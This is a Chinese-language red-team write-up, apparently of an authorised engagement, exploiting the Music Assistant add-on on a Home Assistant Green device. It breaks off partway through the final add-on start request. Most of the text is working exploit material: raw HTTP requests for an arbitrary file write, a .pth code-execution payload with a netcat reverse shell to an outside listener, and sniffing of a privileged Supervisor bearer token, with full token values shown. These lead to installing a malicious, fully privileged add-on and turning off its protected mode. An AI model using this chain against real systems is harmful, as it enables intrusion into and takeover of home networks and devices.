01 前言

本次演练为客户授权的红队评估,我们在目标公网 IP 段中发现一台家用级路由器,这是目标 IT 运维为远程维护设备而做的端口映射,我们通过 CVE 拿到了路由器的 root shell 后,探索如何在受限环境里获得有价值凭据,涉及 任意文件写入、内容约束绕过、代码执行、触发器的利用、恶意插件的部署、容器逃逸,最终拿到设备底层linux环境的rootshell。

02 端口扫描

横向可达面包括:监控系统、打印机、智能家居、一台 Home Assistant Green 设备。

PORT      STATE  SERVICE
111/tcp   open   rpcbind
4357/tcp  open   qsnet-cond
8000/tcp  open   http-alt
8095/tcp  open   unknown
8097/tcp  open   sac
8123/tcp  open   polipo
18555/tcp open   unknown

开放的端口 8095 是集成到 Home Assistant管理控制台的Web 。
http://192.168.10.9:8095

03 Home Assistant 的架构

Home Assistant 是一台把全屋 IoT 设备、流媒体账号和自动化规则收进同一个控制面的中枢。所有接入过的设备、NAS、云服务的口令,都以明文或可解密的形式落在 /config/.storage/ 与各 add-on 的 options.json 里。

层级

组件

作用

运行形式

底层

Home Assistant OS

轻量、专用的 Linux 环境,提供容器管理、网络、存储与硬件支持。绝大多数用户不会直接与它交互,它的职责是为上层提供稳定基础。

Linux 环境

编排层

Supervisor

Core 与各 add-on 的生命周期管理:安装、更新、配置、健康监控、备份、容器间网络。对外暴露 HTTP API,默认仅限内部通信,不暴露到外网或本地局域网。

Docker 容器形式运行

应用层

Home Assistant Core

智能家居自动化引擎,用户日常交互的对象。管理集成、自动化、仪表盘、设备与实体,负责采集数据、执行自动化逻辑,并通过 Web 界面与 API 对外暴露。

Docker 容器形式运行

扩展层

Add-ons

可选应用,与 Core 并行运行在相互隔离的容器中,扩展 MQTT broker、数据库、媒体服务器、Zigbee 协调器或自定义自动化工具等能力。每个 add-on 都在自己的隔离容器中执行,具有明确限定的权限与访问控制。

Docker 容器形式运行

Home Assistant 通过容器化的 add-on 来扩展功能。这些应用作为隔离的 Docker 容器运行,由 Supervisor 管理。根据配置不同,add-on 可以暴露额外服务、通过内部 API 与 Core 通信。端口扫描的 8095 端口正是插件对外暴露的服务。

04 攻击方向的选择

我们对 Home Assistant 管理界面的初步研究确实发现了一些有价值信息,但无法把它们串成完整的 RCE。我们集中研究官方插件,因为官方插件如果有利用点则可以给我们来更大的影响面。在调研了多数插件后,我们把插件 Music Assistant 确定为主要目标,它是以以 Docker 容器形式运行。
联想到 Music Assistant 为了挂载音乐库,必然配置了指向 NAS 的 SMB/文件系统 provider,而这份配置里就存着 NAS 的账号口令,并且可以通过 config/providers/save 这类接口直接读出或改写

Music Assistant 是一个音乐库管理器,以 Home Assistant add-on 形式提供。它同时管理离线和在线音乐源,并能把音乐串流到局域网内各类受支持的播放器。安装后,Music Assistant add-on 会提供一个集成到 Home Assistant 管理控制台的 Web 界面。

05 立足点1:add-on 容器内的 root

任意文件写入

1)播放列表路径可控

Music Assistant 的音源既包括 Apple Music、Spotify、SoundCloud 这类云服务,也包括挂载在本地文件系统上的目录。后者的播放列表以 .m3u 文件形式落盘,正常情况下后缀由程序自动补全;但 music/playlists/update 这条修改接口接受任意文件路径,并不校验后缀,约定在此让位于实现。我们通过以下操作验证了这一假设。

2)验证写入

1)新建提供商
在根新建一个本地文件系统提供商,拿响应的标识符 instance_id。结果 "instance_id":"filesystem_local--N3mo8W6h"

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 241
Content-Type: application/json

{"command":"config/providers/save","message_id":15,"args":{"provider_domain":"filesystem_local","values":{"content_type":"music","path":"/","missing_album_artist_action":"various_artists","ignore_album_playlists":true,"log_level":"GLOBAL"}}}

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3072
Date: Sun, 01 Nov 2026 18:28:25 GMT
Server: Python/3.13 aiohttp/3.11.18

{"values":{"content_type":{"key":"content_type","type":"string","label":"Content type in media folder(s)","default_value":"music","required":false,"options":[{"title":"Music","value":"music"},{"title":"Audiobooks","value":"audiobooks"},{"title":"Podcasts","value":"podcasts"}],"range":null,"description":"The type of content to expect in the media folder(s)","help_link":null,"multi_value":false,"depends_on":"path","depends_on_value":"thisdoesnotexist","depends_on_value_not":null,"hidden":false,"category":"generic","action":null,"action_label":null,"value":"music"},"path":{"key":"path","type":"string","label":"Path","default_value":"/media","required":true,"options":[],"range":null,"description":null,"help_link":null,"multi_value":false,"depends_on":null,"depends_on_value":null,"depends_on_value_not":null,"hidden":false,"category":"generic","action":null,"action_label":null,"value":"/"},"missing_album_artist_action":{"key":"missing_album_artist_action","type":"string","label":"Action when a track is missing the Albumartist ID3 tag","default_value":"various_artists","required":false,"options":[{"title":"Use Track artist(s)","value":"track_artist"},{"title":"Use Various Artists","value":"various_artists"},{"title":"Use Folder name (if possible)","value":"folder_name"}],"range":null,"description":null,"help_link":"https://music-assistant.io/music-providers/filesystem/#tagging-files","multi_value":false,"depends_on":"content_type","depends_on_value":"music","depends_on_value_not":null,"hidden":false,"category":"generic","action":null,"action_label":null,"value":"various_artists"},"ignore_album_playlists":{"key":"ignore_album_playlists","type":"boolean","label":"Ignore playlists with album tracks within album folders","default_value":true,"required":false,"options":[],"range":null,"description":"A digital album often comes with a playlist file (.m3u) that contains the tracks of the album. Adding all these playlists to the library, is not very practical so it's better to just ignore them.\n\nIf this option is enabled, all playlists will be ignored which are more than 1 level deep anywhere in the folder structure. E.g. /music/artistname/albumname/playlist.m3u","help_link":null,"multi_value":false,"depends_on":null,"depends_on_value":null,"depends_on_value_not":null,"hidden":false,"category":"generic","action":null,"action_label":null,"value":true},"log_level":{"key":"log_level","type":"string","label":"Log level","default_value":"GLOBAL","required":true,"options":[{"title":"global","value":"GLOBAL"},{"title":"info","value":"INFO"},{"title":"warning","value":"WARNING"},{"title":"error","value":"ERROR"},{"title":"debug","value":"DEBUG"},{"title":"verbose","value":"VERBOSE"}],"range":null,"description":null,"help_link":null,"multi_value":false,"depends_on":null,"depends_on_value":null,"depends_on_value_not":null,"hidden":false,"category":"advanced","action":null,"action_label":null,"value":"GLOBAL"}},"type":"music","domain":"filesystem_local","instance_id":"filesystem_local--N3mo8W6h","enabled":true,"name":null,"last_error":null}

2)新建播放列表
使用刚创建的文件系统提供商 instance_id ,新建播放列表命名 test123 。结果可以看到响应返回了新建播放列表的标识符。在 provider_mappings 对象中可以看到,用于存储播放列表信息的文件被自动追加了 .m3u 扩展名:

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 146
Content-Type: application/json

{"command":"music/playlists/create_playlist","message_id":21,"args":{"name":"test123","provider_instance_or_domain":"filesystem_local--N3mo8W6h"}}

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 917
Date: Sun, 01 Nov 2026 18:30:43 GMT
Server: Python/3.13 aiohttp/3.11.18

{"item_id":"16","provider":"library","name":"test123","version":"","sort_name":"test123","uri":"library://playlist/17","external_ids":[],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"test123.m3u","provider_domain":"filesystem_local","provider_instance":"filesystem_local--N3mo8W6h","available":true,"audio_format":{"content_type":"?","codec_type":"?","sample_rate":44100,"bit_depth":16,"channels":2,"output_format_str":"?","bit_rate":0},"url":null,"details":null}],"metadata":{"description":null,"review":null,"explicit":null,"images":null,"genres":null,"mood":null,"style":null,"copyright":null,"lyrics":null,"lrc_lyrics":null,"label":null,"links":null,"performers":null,"preview":null,"popularity":null,"release_date":null,"languages":null,"chapters":null,"last_refresh":null},"favorite":false,"position":null,"owner":"","is_editable":true,"cache_checksum":null}

3)修改存储文件的路径
update 操作改播放列表详情,修改存储路径(把 test123.m3u 改为 /tmp/csnc):

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 986
Content-Type: application/json

{"command":"music/playlists/update","message_id":99,"args":{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/tmp/csnc","provider_domain":"filesystem_local","provider_instance":"filesystem_local--N3mo8W6h","available":true,"audio_format":{"content_type":"?","codec_type":"?","sample_rate":44100,"bit_depth":16,"channels":2,"output_format_str":"?","bit_rate":0},"url":null,"details":null}],"metadata":{"description":null,"review":null,"explicit":null,"images":null,"genres":null,"mood":null,"style":null,"copyright":null,"lyrics":null,"lrc_lyrics":null,"label":null,"links":null,"performers":null,"preview":null,"popularity":null,"release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"favorite":false,"position":null,"owner":"","is_editable":true,"cache_checksum":null}}

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 898
Date: Sun, 01 Nov 2026 18:31:38 GMT
Server: Python/3.13 aiohttp/3.11.18

{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/tmp/csnc","provider_domain":"builtin","provider_instance":"builtin","available":true,"audio_format":{"content_type":"?","codec_type":"?","sample_rate":44100,"bit_depth":16,"channels":2,"output_format_str":"?","bit_rate":0},"url":null,"details":null}],"metadata":{"description":null,"review":null,"explicit":null,"images":null,"genres":null,"mood":null,"style":null,"copyright":null,"lyrics":null,"lrc_lyrics":null,"label":null,"links":null,"performers":null,"preview":null,"popularity":null,"release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"favorite":false,"position":null,"owner":"","is_editable":true,"cache_checksum":null}

4)查看 /tmp
修改存储文件的路径后,Music Assistant 容器内的 /tmp 目录还未发现文件,说明仅修改路径还不会落盘

5)添加个曲子
往修改后的播放列表里添加一条曲子,观察应用如何处理该文件路径。
指定 uris 为 library://track/1 把音乐库中 ID 为 1 的曲目加入播放列表:

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 126
Content-Type: application/json

{"command":"music/playlists/add_playlist_tracks","message_id":300,"args":{"db_playlist_id":"16","uris":["library://track/1"]}}

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 4
Date: Sun, 01 Nov 2026 18:31:57 GMT
Server: Python/3.13 aiohttp/3.11.18

null

6)再次查看 /tmp
这次 csnc 文件已经成功创建,属主为 root,因为 Music Assistant 应用在其 Docker 容器内以 root 用户运行;

文件 csnc 内容是上一条请求中 uris 参数经过修改后的版本:

结论:写权限的来源不是上传文件,而是播放列表文件名即写入路径,且写入发生在添加曲子时。

3)换行注入

任意文件写入已经成立,写入的内容是否可控。
我们把 uris 作为唯一变量逐次替换取值,并将请求与日志中的落盘结果对照,最终摸清了它的校验边界:内容里必须出现固定子串 ://track/,除此之外不受任何限制。

URIS 值

Music Assistant 日志

library://track/csnc

ValueError: invalid literal for int() with base 10: 'csnc'

library://csnc/1

Not adding library://csnc/1 to playlist test123 – not a track

csnc://track/1

Adding csnc://track/1 to playlist test123

csnc://csnc/1

Not adding csnc://csnc/1 to playlist test123 – not a track

csnc://track/csnc

Adding csnc://track/csnc to playlist test123

csnc\ncsnc://track/csnc

Not a valid Music Assistant uri: csnc

csnc://track/csnc\ncsnc

Adding csnc://track/csnc
csnc to playlist test123

把 library://track/\n123 作为 uris 值传入,就可以在文件内容中注入一个换行:

library://track/
123

至此,我们在有限的环境下做到了任意路径 + 单行可控 + 追加模式的文件写入

从文件写入到命令执行

1).pth 配置钩子

考虑到 Music Assistant 后端基于 Python,我们想起了方式,通过把任意命名的 .pth 文件放入用户主目录下的 .local/lib/pythonX.Y/site-packages/ 文件夹中。Python 解释器启动时,site.py 解析器会处理这些文件;如果某一行以 import 关键字开头,解释器就会执行其后的 Python 代码。
一句话概括:往那个目录里丢一个任意命名的 .pth,任意文件写入就升级成了任意代码执行。

2)写入 .pth 并植入 payload

为验证该技术是否可行,我们把播放列表路径改写为 csnc.pth,放在 Python 环境的 site-packages 目录下:

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 1024
Content-Type: application/json

{"command":"music/playlists/update","message_id":99,"args":{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/app/venv/lib/python3.13/site-packages/csnc.pth","provider_domain":"filesystem_local","provider_instance":"filesystem_local--N3mo8W6h","available":true,"audio_format":{"content_type":"?","codec_type":"?","sample_rate":44100,"bit_depth":16,"channels":2,"output_format_str":"?","bit_rate":0},"url":null,"details":null}],"metadata":{"description":null,"review":null,"explicit":null,"images":null,"genres":null,"mood":null,"style":null,"copyright":null,"lyrics":null,"lrc_lyrics":null,"label":null,"links":null,"performers":null,"preview":null,"popularity":null,"release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"favorite":false,"position":null,"owner":"","is_editable":true,"cache_checksum":null}}

HTTP 响应确认更新成功:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 936
Date: Sun, 01 Nov 2026 18:34:47 GMT
Server: Python/3.13 aiohttp/3.11.18

{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/app/venv/lib/python3.13/site-packages/csnc.pth","provider_domain":"builtin","provider_instance":"builtin","available":true,"audio_format":{"content_type":"?","codec_type":"?","sample_rate":44100,"bit_depth":16,"channels":2,"output_format_str":"?","bit_rate":0},"url":null,"details":null}],"metadata":{"description":null,"review":null,"explicit":null,"images":null,"genres":null,"mood":null,"style":null,"copyright":null,"lyrics":null,"lrc_lyrics":null,"label":null,"links":null,"performers":null,"preview":null,"popularity":null,"release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"favorite":false,"position":null,"owner":"","is_editable":true,"cache_checksum":null}

接下来添加一条新曲目,其中包含一段用于通过 netcat 建立反弹 shell 的 Python payload。由于容器内已有 busybox,可以直接使用它自带的 netcat 实现。

为了让 payload 能正确执行,我们在协议前加了一个 # 字符。这样脚本第一行就被注释掉,从而让 Python 解释器把 import 语句视为第一条有效指令:

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 190
Content-Type: application/json

{"command":"music/playlists/add_playlist_tracks","message_id":300,"args":{"db_playlist_id":"16","uris":["#csnc://track/\nimport os; os.system('/usr/bin/nc 192.168.10.21 4444 -e /bin/sh')"]}}

HTTP 响应确认请求成功:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 4
Date: Sun, 01 Nov 2026 18:35:03 GMT
Server: Python/3.13 aiohttp/3.11.18

null

随后确认 csnc.pth 文件已成功创建,且包含预期的 payload:

3) 触发器:ytmusic 初始化链

第一次尝试失败:我们向 music/playlists/create_playlist 命令发送请求想触发 payload,但没有执行。
进一步研究发现,大多数暴露的 API 端点都在已有的、长期驻留的 Python 进程内运行,而不会启动新进程。因此在首次交互时,.pth 文件不会被处理。

思路转换:为找到可靠的触发点,我们开始研究那些会强制创建新 Python 环境的功能。这让我们注意到了 YouTube Music 提供商的行为。具体来说,当 Music Assistant 服务端收到 config/providers/save 命令时,会触发如下调用链:

调用链

说明

save_provider_config(...)

config.py:286(实现 config/providers/save)

add_provider_config(...)

config.py:1015(添加新的 provider 配置)

load_provider_config(...)

mass.py:485(尝试加载 provider)

load_provider(...)

mass.py:636(实现 provider 加载逻辑)

provider.handle_async_init(...)

mass.py:680(执行 provider 特定的初始化)

handle_async_init 的行为取决于被实例化的 provider。在我们的场景中,这条执行流进入了 ytmusic 模块。初始化时,该 provider 会自动调用 _install_packages 方法:

_install_packages 方法会遍历 PACKAGES_TO_INSTALL 列表,对每一项调用 install_package。在本例中,该列表包含 yt-dlp[default] 和 bgutil-ytdlp-pot-provider:

install_package [方法](https://github.com/music-assistant/server/blob/2.6.0/music_assistant/helpers/util.py#L390) 会构造一条pip install 命令,并交给 check_output 函数执行:

check_output 函数通过调用 asyncio.create_subprocess_exec 执行命令:

链条闭合点:check_output → create_subprocess_exec 会 spawn 一个新的 Python 进程,site.py 在启动时加载 csnc.pth,payload 随即执行。

为验证这一行为,我们发送了如下 HTTP 请求,指定 ytmusic provider:

POST /api HTTP/1.1
Host: 192.168.10.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.10.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 202
Content-Type: application/json

{"command":"config/providers/save","message_id":1105,"args":{"provider_domain":"ytmusic","values":{"username":"test","cookie":"test","po_token_server_url":"http://127.0.0.1:4416","log_level":"GLOBAL"}}}

HTTP 响应返回了一个错误,但这正是预期结果:

HTTP/1.1 500 Internal Server Error
Content-Type: text/plain; charset=utf-8
Content-Length: 55
Date: Sun, 01 Nov 2026 18:41:22 GMT
Server: Python/3.13 aiohttp/3.11.18
Connection: close

500 Internal Server Error

Server got itself in trouble

我们的监听端收到了反弹 shell 连接,确认已在 Music Assistant 容器内成功执行命令:

# nc -nlvp 4444
Listening on 0.0.0.0 4444
...
Connection received on 192.168.10.9 4444

06 容器逃逸

虽然我们已经拿到 RCE,但仍被限制在 Music Assistant 容器内。为了把影响面扩大到 Home Assistant Green,必须做容器逃逸从而访问宿主机 OS。

权限边界

我们首先查看该插件的的 config.yaml 文件,map 配置表明,只有 media 目录以读写(rw)权限挂载

map:
- media:rw
- ssl:ro

该映射把宿主机的 /mnt/data/supervisor/media 目录链接到容器内,不过该目录当前为空:

SUPERVISOR_TOKEN 的作用域限制

在初步搜索 Supervisor 会处理的文件却未找到可用目标之后,我们把研究转向其他配置参数,发现 homeassistant_api 标志当前被设为 true:

homeassistant_api: true

根据官方文档,该选项允许应用通过 http://supervisor/core/api 访问 Supervisor 容器暴露的 Home Assistant REST API 代理。不过当前配置并未授予对全部 Supervisor API 的访问权。文档指出,这需要启用 hassio_api 标志,而 Music Assistant 的配置中并没有这一项。

我们检查了容器的环境变量,取到了 SUPERVISOR_TOKEN 的值:

# env
HOSTNAME=d5369777-music-assistant
[CUT BY COMPASS]
PYTHON_VERSION=3.13.6
VIRTUAL_ENV=/app/venv
PWD=/app/venv
TZ=Europe/Rome
SUPERVISOR_TOKEN=5d00dc3dcb7b68b2f8c379ab00fa390ab093ed7bfee9c8edb2741e609dee6f44f77d9294771598615849664df2f724cd9037e44e2d83895c

尽管文档如此描述,我们还是测试了该 token 能否访问完整的 Supervisor API 集合。结果表明访问控制被正确实施:Music Assistant 的 token 只被允许访问 /core/api 路径下暴露的 API:

# wget --header="Authorization: Bearer 5d00dc3dcb7b68b2f8c379ab00fa390ab093ed7bfee9c8edb2741e609dee6f44f77d9294771598615849664df2f724cd9037e44e2d83895c" -O - http://supervisor/core/api/states
Connecting to supervisor (172.30.32.2:80)
writing to stdout
[{"entity_id":"update.home_assistant_supervisor_update","state":"off","attributes":{"auto_update":true,"display_precision":0,"installed_version":"2026.05.1","in_progress":false,"latest_version":"2026.05.1","release_summary":null,"release_url":null,"skipped_version":null,"title":"Home Assistant Supervisor","update_percentage":null,"device_class":"firmware","entity_picture":null,"friendly_name":"Home Assistant Supervisor Update","supported_features":23},"last_changed":"2026-11-01T10:07:12.481933+00:00",…}}

任何其他 API 都会返回 403 Forbidden 错误:

# wget --header="Authorization: Bearer 5d00dc3dcb7b68b2f8c379ab00fa390ab093ed7bfee9c8edb2741e609dee6f44f77d9294771598615849664df2f724cd9037e44e2d83895c" -O - http://supervisor/network/info
Connecting to supervisor (172.30.32.2:80)
wget: server returned error: HTTP/1.1 403 Forbidden

# wget --header="Authorization: Bearer 5d00dc3dcb7b68b2f8c379ab00fa390ab093ed7bfee9c8edb2741e609dee6f44f77d9294771598615849664df2f724cd9037e44e2d83895c" -O - http://supervisor/ping
Connecting to supervisor (172.30.32.2:80)
wget: server returned error: HTTP/1.1 403 Forbidden

难点:手里有 token,但没有权限。要么放弃,要么找到一个有权限的 token。

突破口:明文 HTTP 流量

1、config.yaml 里的这项配置:Music Assistant 容器被授予了宿主机网络访问权限:

host_network: true

2、推测:
该配置使我们能够探测 Supervisor 容器与系统上所有其他容器之间的流量。虽然容器到 Supervisor 的通信受 token 保护,但所有请求都通过明文 HTTP 发送。因此,我们可以截获某个特权容器(即 hassio_api 标志为 true 的容器)的 token,并用它来认证所有 Supervisor API。

3、实施:
我们在内部网络接口上运行 tcpdump,观察到多个发往 /os/info Supervisor API 的 HTTP 请求。这些请求中携带了一个属于另一个容器的 bearer token。进一步分析后确定,该 token 属于 Home Assistant Core 容器,也就是负责管理 Web 界面的那个特权容器:

GET /os/info HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.handler
Accept: */*
Accept-Encoding: gzip, deflate, br

我们发现这些 HTTP 请求由一个每 5 分钟运行一次的定时任务触发。

用特权 token 安装恶意插件

在梳理可用的 Supervisor API 端点后,我们找到了一组可用于注册新仓库并安装恶意 add-on 的调用:

  • POST /store/repositories

  • POST /store/addons/<addon>/install

1)插件的权限设计

为实现对宿主机的完全控制,我们编写了一个配置了大量 Home Assistant 能力的恶意 add-on。具体来说,该 add-on 被配置为以 admin 权限访问全部 Supervisor API、可直接访问 Docker API、在 8000 端口暴露 SSH 服务、申请了以下 14 项权限:

name: SSHContainer
version: "1.2.0"
slug: ssh-container
description: SSHContainer
url: "https://github.com/testtest/ssh-container"
arch:
  - armhf
  - armv7
  - aarch64
  - amd64
  - i386
map:
  - type: data
    read_only: false
startup: services
ports:
  8000/tcp: 8000
hassio_api: true
hassio_role: admin
full_access: true
docker_api: true
apparmor: false
host_dbus: true
ingress: true
udev: true
uart: true
devicetree: true
privileged:
  - BPF
  - CHECKPOINT_RESTORE
  - DAC_READ_SEARCH
  - IPC_LOCK
  - NET_ADMIN
  - NET_RAW
  - PERFMON
  - SYS_ADMIN
  - SYS_MODULE
  - SYS_NICE
  - SYS_PTRACE
  - SYS_RAWIO
  - SYS_RESOURCE
  - SYS_TIME
image: "ghcr.io/testtest/ssh-container-{arch}"

该恶意 add-on 托管在 https://github.com/testmail123456/compass-ssh-container 仓库中。

2)安装

我们梳理出了安装并启动该恶意 add-on 所需的 Supervisor API 调用序列。以下请求中,窃取到的特权 token 即 Authorization: Bearer 后的值

第一步:注册恶意仓库,响应显示新仓库已正确添加

POST /store/repositories HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.websocket_api
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Length: 69
Content-Type: application/json

{"repository":"https://github.com/testmail123456/compass-ssh-container"}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 25
Date: Sun, 01 Nov 2026 12:20:55 GMT
Server: Python/3.13 aiohttp/3.12.15

{"result":"ok","data":{}}

第二步:获取 add-on 的 slug

GET /store HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.websocket_api
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Length: 2
Content-Type: application/json

{}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 2670
Date: Sun, 01 Nov 2026 18:47:16 GMT
Server: Python/3.13 aiohttp/3.12.15

{"addons":[{"advanced":false,"arch":["aarch64"],"available":true,"build":false,"description":"Test Container SSH","documentation":true,"homeassistant":null,"icon":true,"installed":false,"logo":true,"name":"Test Container SSH","repository":"4b60877e","slug":"4b60877e_compass-ssh-container","stage":"stable","update_available":false,"url":"https://github.com/testmail123456/compass-ssh-container","version_latest":"1.2.0","version":null},{"advanced":false,"arch":["aarch64"],"available":true,"build":false,"description":"Music Assistant is a free, opensource Media library manager that connects to your streaming services and a wide range of connected speakers.","documentation":true,"homeassistant":"2024.6.0","icon":true,"ingress":true,"ingress_entry":null,"ingress_panel":true,"ingress_port":8094,"ingress_url":"http://172.30.32.2:8094","installed":true,"logo":true,"name":"Music Assistant","repository":"core","slug":"d5369777_music_assistant","stage":"stable","update_available":false,"url":"https://github.com/music-assistant/hassio-addon","version_latest":"2.6.3","version":"2.6.3"},{"advanced":false,"arch":["aarch64"],"available":true,"build":false,"description":"Mosquitto broker for MQTT communication.","documentation":true,"homeassistant":null,"icon":true,"ingress":false,"ingress_entry":null,"ingress_panel":null,"ingress_port":null,"ingress_url":null,"installed":false,"logo":true,"name":"Mosquitto broker","repository":"core","slug":"core_mosquitto","stage":"stable","update_available":false,"url":"https://github.com/home-assistant/addons/tree/master/mosquitto","version_latest":"6.5.1","version":null},{"advanced":false,"arch":["aarch64"],"available":true,"build":false,"description":"Allow logging in remotely to Home Assistant using SSH","documentation":true,"homeassistant":null,"icon":true,"ingress":false,"ingress_entry":null,"ingress_panel":null,"ingress_port":null,"ingress_url":null,"installed":false,"logo":true,"name":"Advanced SSH & Web Terminal","repository":"core","slug":"core_ssh","stage":"stable","update_available":false,"url":"https://github.com/hassio-addons/addon-ssh","version_latest":"22.0.1","version":null},{"advanced":false,"arch":["aarch64"],"available":true,"build":false,"description":"Expose Home Assistant folders with SMB/CIFS","documentation":true,"homeassistant":null,"icon":true,"ingress":false,"ingress_entry":null,"ingress_panel":null,"ingress_port":null,"ingress_url":null,"installed":false,"logo":true,"name":"Samba share","repository":"core","slug":"core_samba","stage":"stable","update_available":false,"url":"https://github.com/home-assistant/addons/tree/master/samba","version_latest":"12.5.1","version":null}]}

第三步:安装 add-on 指定 slug

POST /addons/4b60877e_compass-ssh-container/install HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.websocket_api
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Length: 2
Content-Type: application/json

{}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 25
Date: Sun, 01 Nov 2026 12:21:04 GMT
Server: Python/3.13 aiohttp/3.12.15

{"result":"ok","data":{}}

3)绕过保护模式

要获得 Docker API 访问权限,仅开启配置文件中的 docker_api 标志还不够;容器的 protected 状态也必须被关闭。

该安全设置通过 add-on 配置界面管理,用户必须手动把保护模式切换为关闭,才能允许更高权限的操作。然而我们发现,直接向 API 发送如下请求,即可在无需交互的情况下修改该配置:

POST /addons/4b60877e_compass-ssh-container/security HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.websocket_api
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Length: 19
Content-Type: application/json

{"protected":false}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 25
Date: Sun, 01 Nov 2026 12:21:07 GMT
Server: Python/3.13 aiohttp/3.12.15

{"result":"ok","data":{}}

第四步:启动 add-on(使用同样的 slug)

POST /addons/4b60877e_compass-ssh-container/start HTTP/1.1
Host: 172.30.32.2
User-Agent: HomeAssistant/2025.7.4 aiohttp/3.12.14 Python/3.13
